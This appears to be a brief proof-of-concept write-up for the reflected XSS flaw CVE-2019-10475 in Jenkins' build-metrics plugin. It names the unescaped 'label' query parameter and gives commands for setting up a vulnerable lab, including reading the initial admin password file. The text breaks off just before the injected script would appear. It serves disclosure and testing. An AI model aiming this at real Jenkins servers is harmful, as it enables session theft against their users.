CVE-2019-10475

Quick POC for Jenkins CVE-2019-10475 / SECURITY-1490 reported on 2019-10-23. The issue is within the build-metrics plugin which generates some basic build metrics. It's commonly used with the Jenkins sidebar links plugin.

This is a simple & generic reflected XSS vulnerability. The issue is that the plugin does not properly escape the label query parameter.

Setup

POC was done on Debian 10 (Buster), Jenkins 2.203 (latest 2019-11-05), and build-metrics 1.3.

# install jenkins
sudo apt-get install daemon psmisc net-tools openjdk-11-jre
wget -q -O - https://pkg.jenkins.io/debian/jenkins.io.key | sudo apt-key add -
wget https://pkg.jenkins.io/debian/binary/jenkins_2.203_all.deb
dpkg -i jenkins_2.203_all.deb
sudo systemctl status jenkins
# activate using admin password
sudo cat /var/lib/jenkins/secrets/initialAdminPassword
# get jenkins cli
wget http://localhost:8080/jnlpJars/jenkins-cli.jar
# install plugins
java -jar ./jenkins-cli.jar -s "http://localhost:8080" -auth admin:password -noKeyAuth install-plugin global-build-stats -restart
java -jar ./jenkins-cli.jar -s "http://localhost:8080" -auth admin:password -noKeyAuth install-plugin build-metrics -restart

Exploit POC

The vulnearble plugin can be found at http://localhost:8080/plugin/build-metrics/, the vulnerable parameter is label. We can inject a simple script like so:
